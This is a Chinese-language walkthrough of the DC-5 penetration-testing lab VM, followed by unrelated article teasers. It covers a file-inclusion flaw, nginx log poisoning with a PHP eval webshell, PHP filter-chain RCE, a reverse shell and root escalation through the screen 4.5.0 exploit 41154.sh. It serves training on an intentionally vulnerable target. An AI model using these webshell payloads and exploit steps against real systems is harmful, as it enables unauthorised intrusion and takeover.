当前位置: 首页 > news >正文

DC-5靶机渗透测试

DC-5靶场

文章目录

      • DC-5靶场
      • 信息收集
      • 漏洞发现
      • 漏洞利用 --- 日志文件包含
      • 漏洞利用 --- 文件包含过滤器链的RCE
      • shell反弹
      • 权限提升

image-20230617220445348

信息收集

使用--script=vuln扫描发现了一个thankyou.php界面 感觉会有问题,前往访问网站信息

image-20230617215357276

image-20230617215400667

image-20230617215403828

漏洞发现

  1. 来到thankyou.php界面,发现只是一个普通的界面,但是再次访问的时候,发现下面的标识发生了改变,猜测这个界面存在文件包含,通过刷新来随机访问某一个界面

image-20230617215908573

image-20230617215920595

  1. 察觉到该网站存在文件包含漏洞,接下来尝试爆破一下读取文件的参数变量才行。使用burp对包含参数进行爆破,读取Linux的密码。fuzz字典爆破得到访问文件的参数是file
    image-20230617220646719

image-20230617220658429
3. 还可以利用ffuf工具对参数进行爆破,得到文件包含参数为file
在这里插入图片描述

漏洞利用 — 日志文件包含

  1. 既然如此,该中间件是nginx,只需要访问nginx中间件的日志文件即可构建恶意get请求,来写入shell

image-20230617220836600

  1. 通过搜索的值,日志文件存储在/var/log/nginx/access.log
image-20230617221808251
  1. 构造paylaod进行访问

image-20230617221916669

  1. 发现日志文件末尾有刚才访问请求的记录

image-20230617222031053

  1. 构造恶意的get请求,将shell写入日志中,发现直接构建url传参会进行转义。

image-20230617222404494

  1. 尝试使用burp抓包修改参数进行传入,修改GET传参含有<?php @eval($_POST[a]);?>一句话木马形式,传入到日志文件中。如果查看日志文件中没有这段代码,则成功执行了
image-20230617222947340
  1. 再次尝试蚁剑连接,发现成功连接

image-20230617222835453

  1. 再在网站根目录下上传一个shell文件,再次连接,发现上传和写入失败,来到tmp文件夹内,写入新的shell文件

image-20230617223418212

  1. 尝试连接新shell,成功连接

image-20230617223550273

漏洞利用 — 文件包含过滤器链的RCE

  1. 工具地址https://github.com/synacktiv/php_filter_chain_generator。该工具可以用于生成 PHP 过滤器链的 CLI,如果用户能够完全控制PHP 中的 require 或 include 的参数,则无需上传文件即可获取 RCE

  2. 执行命令python php_filter_chain_generator.py --chain '<?php system($_GET["a"]);?>'生成一句话木马的过滤器链。将生成的php过滤链直接传参,传入命令即可得到RCE的结果

python php_filter_chain_generator.py --chain '<?php system($_GET["a"]);?>'

在这里插入图片描述
在这里插入图片描述
3. 接下来执行反弹shell命令即可得到www-data用户的shell。比常规的文件包含获取shell简便了非常多
在这里插入图片描述
在这里插入图片描述

shell反弹

  1. 本地kali虚拟机监听本地端口,等待蚁剑的虚拟终端将shell反弹到主机端口上。反弹成功,优化shell界面

image-20230618201434715

  1. 蚁剑将shell反弹到kali

image-20230618201446589

权限提升

  1. 上传Linux漏洞探针

image-20230618201746676

  1. 执行该探针文件,查看存在的系统漏洞

image-20230618204125711

  1. 尝试了很多次,每个cve漏洞的利用文件都使用了,发现都执行不成功,应该是缺少某些东西了。看来还是得了解一下这些EXP了

image-20230618204024681

  1. 尝试使用SUID提权,使用find来查看是否有可以suid提权的命令

image-20230618204259910

  1. 据了解scree-4.5.0存在可以利用的漏洞,使用searchsploit查找利用的exp
cp /usr/share/exploitdb/exploits/linux/local/41154.sh  41154.sh
cp /usr/share/exploitdb/exploits/linux/local/41152.txt  41152.txt

在这里插入图片描述

  1. 查看.sh文件,发现需要形成两个.c文件,带有编译的命令,还有最后的shell脚本

image-20230618210805231

image-20230618210801950

  1. 41154.sh转换成Linux执行的文件dos2unix 41154.sh 原来的提权文件是window版本的,所以上面执行力很多遍都没有成功。转换成Linux文件后,只需要将41154.sh传入到目标机上,给予执行权限,执行该脚本即可自动提权

image-20230619163635502

  1. 使用wget命令下载POC文件,赋予执行权限,bash 41154.sh发现执行成功,返回了一个#可输入的内容,输入id 发现返回了root权限

image-20230619163444214

  1. 来到root目录下,查看flag文件。成功

image-20230619163459839

相关文章:

DC-5靶机渗透测试

DC-5靶场 文章目录 DC-5靶场信息收集漏洞发现漏洞利用 --- 日志文件包含漏洞利用 --- 文件包含过滤器链的RCEshell反弹权限提升 信息收集 使用--scriptvuln扫描发现了一个thankyou.php界面 感觉会有问题&#xff0c;前往访问网站信息 漏洞发现 来到thankyou.php界面&#xff…...

16、电科院FTU检测标准学习笔记-基本性能2

作者简介&#xff1a; 本人从事电力系统多年&#xff0c;岗位包含研发&#xff0c;测试&#xff0c;工程等&#xff0c;具有丰富的经验 在配电自动化验收测试以及电科院测试中&#xff0c;本人全程参与&#xff0c;积累了不少现场的经验 ———————————————————…...

MySQL——使用Python操作MySQL

文章目录 安装PyMySQL使用PyMySQL操作MySQL 在Python中操作MySQL数据库时&#xff0c;我们使用较多的库是 PyMySQL,如果你选择使用 PyMySQL库&#xff0c;那么首先需要通过pip安装它。pip install pymysql命令就是用来安装PyMySQL的。 安装PyMySQL 1.打开你的命令行工具&…...

Flink的DataStream状态管理

目录 键控数据流(Keyed DataStream) 键控状态(Keyed State) 值状态(ValueState) 列表状态(ListState) 归约状态(ReducingState) 聚合状态(AggregatingState) 映射状态(MapState) 状态生存时间(TTL) 算子状态(Operator State) 广播状态(Broadcast S…...

Daiqile SQL注入绕过

上源码。 <?php header("Content-type: text/html; charsetutf-8"); require db.inc.php;function dhtmlspecialchars($string) {if (is_array($string)) {foreach ($string as $key > $val) {$string[$key] dhtmlspecialchars($val);}}else {$string str_…...

用Python轻松移除PDF中的注释

PDF文档因其跨平台的兼容性和格式稳定性而备受青睐。然而&#xff0c;随着文档在不同用户间的流转&#xff0c;累积的注释可能会变得杂乱无章&#xff0c;甚至包含敏感或过时的信息&#xff0c;这不仅影响了文档的清晰度和专业性&#xff0c;还可能引发隐私风险。因此&#xff…...

51单片机—串口

一、 串口基本认知 串行接口简称串口&#xff0c;也称串行通信接口或串行通讯接口&#xff08;通常指COM接口&#xff09;&#xff0c;是采用串行通信方 式的扩展接口。串行接口&#xff08;Serial Interface&#xff09;是指数据一位一位地顺序传送。其特点是通信线路简 单&a…...

vue 通过 this.$refs 创建方法i向子组件传参让子组件更新

在Vue中&#xff0c;this.$refs主要用于访问子组件的实例或者DOM元素。通过this.$refs&#xff0c;你可以调用子组件的方法或者访问其数据属性&#xff0c;从而实现子组件的更新。以下是一些使用this.$refs向子组件传参并触发更新的常见方法&#xff1a; 1. 直接调用子组件的方…...

Java设计模式以及代理模式

一、设计模式 1.JAVA六大设计原则 JAVA设计模式提供六个基本原则&#xff0c;分别是&#xff1a; 开闭原则(OCP) - The Open-Closed Principle单一职责原则(SRP) - Single Responsibility Principle里氏替换原则(LSP) - Liskov Substitution Principle依赖倒置原则(DIP) - D…...

Elasticsearch 索引库管理:查询、修改与删除

Elasticsearch 是一个高度可扩展的开源全文搜索和分析引擎&#xff0c;它允许用户通过 RESTful API 进行数据的索引、搜索、更新和管理。在 Elasticsearch 中&#xff0c;索引库&#xff08;Index&#xff09;是存储数据的基本单元。本文将介绍如何查询、修改和删除 Elasticsea…...

视频大怎么压缩小?分享3种视频压缩方法

视频大怎么压缩小&#xff1f;视频文件过大时&#xff0c;压缩视频不仅能帮助我们节省宝贵的存储空间&#xff0c;使其更容易在有限容量的设备中保存&#xff0c;还能显著提升传输效率&#xff0c;特别是在网络条件有限或需要快速分享视频内容的场合。通过专业的压缩工具&#…...

springboot项目搭建集成 redis/跨域/远程请求

目录 一&#xff0c;创建maven项目 1&#xff0c;左上角file > new > maven project 2&#xff0c;next 到 创建 Group id 和 Artifact id​编辑​编辑 二&#xff0c;配置springboot 1&#xff0c;配置pom文件&#xff0c; 2&#xff0c;创建启动类 3&#xff…...

lvs详解及实例配置

目录 1.什么是负载均衡 1.1为什么用负载均衡 1.2.负载均衡类型 1.2.1.四层负载均衡 1.2.2.七层负载均衡 1.3 四层和七层的区别 2.LVS介绍 2.1LVS 的优势与不足 2.2LVS 核心组件和专业术语 3.ipvsadm命令 4.LVS集群中的增删改 4.1.管理集群服务中的增删改 4.2.管理集…...

DAY41-动态规划-买卖股票

LeetCode121. 买卖股票的最佳时机 public int maxProfit(int[] prices) {//dp数组含义&#xff1a;0为持有该股票&#xff0c;1为不持有该股票int[][] dp new int[prices.length][2];dp[0][0]-prices[0];dp[0][1]0;for(int i1;i<prices.length;i) {dp[i][0]Math.max(dp[i-…...

【C#】StringComparer

什么是“文化” 在 .NET 中&#xff0c;“文化”&#xff08;Culture&#xff09;指的是与语言、地区、和区域设置相关的特定信息集合。这些信息包括了日期和时间的格式、数字的表示方式、货币符号、字符串比较规则等等。文化的概念在软件开发中特别重要&#xff0c;因为应用程…...

阿里云服务器远程登录问题解决指南

前言 在使用阿里云服务器时&#xff0c;可能会遇到无法通过密码进行远程登录的情况。这种情况通常是因为操作系统默认禁用了密码登录功能。本文将介绍如何解决这一问题&#xff0c;确保能够顺利地通过密码进行远程登录。 问题描述 当尝试通过Workbench进行密码登录时&#x…...

Datawhale X 魔搭 AI夏令营(2024第四期)AIGC方向 学习笔记

粗谈 这一期是使用可图lora微调进行文生图任务的比赛 文生图也算是跨模态了&#xff0c;输入Prompt文本&#xff0c;输出图片。Prompt很重要&#xff0c;分为prompts和negative prompts。可以指导结果图片的生成。 lora可以参考我上期夏令营的文章:Datawhale AI 夏令营&…...

VScode前端环境搭建

前言 VScode是企业中最常用的前端开发工具&#xff0c;本文描述如何利用VScode搭建前端开发环境 一、安装VScode 下载Vscode 点击前往下载页面 安装 安装时一直点击下一步即可 二、环境配置 1&#xff09;更改语言 点击拓展搜索Chinese后下载第一个&#xff0c;下载完后…...

Python自动化测试之selenium - 元素定位

元素定位 元素定位就是通过元素的信息或者元素层级结构来定位元素。当定位到了重复的属性&#xff0c;默认会定位到第一个标签。 id定位 - find_element_by_id 同一个html页面中id值是唯一的。 模拟在百度输入框中输入想要查找的内容 python 代码解读 复制代码 from sel…...

深入探索 npm cache clean --force:清理 npm 缓存的艺术

npm 是 JavaScript 编程语言的包管理器&#xff0c;它是 Node.js 运行环境的默认包管理器。npm 提供了一个丰富的生态系统&#xff0c;包括数以百万计的可重用代码包。然而&#xff0c;随着时间的推移&#xff0c;npm 的缓存可能会变得庞大&#xff0c;影响性能或导致一些奇怪的…...

智慧工地云平台源码,基于微服务架构+Java+Spring Cloud +UniApp +MySql

智慧工地管理云平台系统&#xff0c;智慧工地全套源码&#xff0c;java版智慧工地源码&#xff0c;支持PC端、大屏端、移动端。 智慧工地聚焦建筑行业的市场需求&#xff0c;提供“平台网络终端”的整体解决方案&#xff0c;提供劳务管理、视频管理、智能监测、绿色施工、安全管…...

MongoDB学习和应用(高效的非关系型数据库)

一丶 MongoDB简介 对于社交类软件的功能&#xff0c;我们需要对它的功能特点进行分析&#xff1a; 数据量会随着用户数增大而增大读多写少价值较低非好友看不到其动态信息地理位置的查询… 针对以上特点进行分析各大存储工具&#xff1a; mysql&#xff1a;关系型数据库&am…...

多场景 OkHttpClient 管理器 - Android 网络通信解决方案

下面是一个完整的 Android 实现&#xff0c;展示如何创建和管理多个 OkHttpClient 实例&#xff0c;分别用于长连接、普通 HTTP 请求和文件下载场景。 <?xml version"1.0" encoding"utf-8"?> <LinearLayout xmlns:android"http://schemas…...

服务器硬防的应用场景都有哪些?

服务器硬防是指一种通过硬件设备层面的安全措施来防御服务器系统受到网络攻击的方式&#xff0c;避免服务器受到各种恶意攻击和网络威胁&#xff0c;那么&#xff0c;服务器硬防通常都会应用在哪些场景当中呢&#xff1f; 硬防服务器中一般会配备入侵检测系统和预防系统&#x…...

el-switch文字内置

el-switch文字内置 效果 vue <div style"color:#ffffff;font-size:14px;float:left;margin-bottom:5px;margin-right:5px;">自动加载</div> <el-switch v-model"value" active-color"#3E99FB" inactive-color"#DCDFE6"…...

macOS多出来了:Google云端硬盘、YouTube、表格、幻灯片、Gmail、Google文档等应用

文章目录 问题现象问题原因解决办法 问题现象 macOS启动台&#xff08;Launchpad&#xff09;多出来了&#xff1a;Google云端硬盘、YouTube、表格、幻灯片、Gmail、Google文档等应用。 问题原因 很明显&#xff0c;都是Google家的办公全家桶。这些应用并不是通过独立安装的…...

【android bluetooth 框架分析 04】【bt-framework 层详解 1】【BluetoothProperties介绍】

1. BluetoothProperties介绍 libsysprop/srcs/android/sysprop/BluetoothProperties.sysprop BluetoothProperties.sysprop 是 Android AOSP 中的一种 系统属性定义文件&#xff08;System Property Definition File&#xff09;&#xff0c;用于声明和管理 Bluetooth 模块相…...

实现弹窗随键盘上移居中

实现弹窗随键盘上移的核心思路 在Android中&#xff0c;可以通过监听键盘的显示和隐藏事件&#xff0c;动态调整弹窗的位置。关键点在于获取键盘高度&#xff0c;并计算剩余屏幕空间以重新定位弹窗。 // 在Activity或Fragment中设置键盘监听 val rootView findViewById<V…...

精益数据分析(97/126):邮件营销与用户参与度的关键指标优化指南

精益数据分析&#xff08;97/126&#xff09;&#xff1a;邮件营销与用户参与度的关键指标优化指南 在数字化营销时代&#xff0c;邮件列表效度、用户参与度和网站性能等指标往往决定着创业公司的增长成败。今天&#xff0c;我们将深入解析邮件打开率、网站可用性、页面参与时…...

laravel8+vue3.0+element-plus搭建方法

创建 laravel8 项目 composer create-project --prefer-dist laravel/laravel laravel8 8.* 安装 laravel/ui composer require laravel/ui 修改 package.json 文件 "devDependencies": {"vue/compiler-sfc": "^3.0.7","axios": …...